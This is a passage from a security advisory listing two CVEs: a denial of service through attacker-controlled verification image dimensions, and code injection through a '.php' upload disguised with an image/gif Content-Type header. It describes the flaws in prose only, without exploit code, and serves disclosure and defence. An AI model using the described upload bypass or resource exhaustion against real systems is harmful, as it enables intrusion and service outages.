5) Resource exhaustion (CVE-ID: CVE-2019-8909)
The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
The vulnerability exists due to the background verification code size can be controlled. A remote attacker can send a specially crafted dimensions for the verification code image, trigger resource exhaustion and perform a denial of service (DoS) attack.
6) Code Injection (CVE-ID: CVE-2019-8908)
The vulnerability allows a remote attacker to execute arbitrary code on the target system.
The vulnerability exists due to improper input validation in a ".php" filename and the "Content-Type: image/gif" header.
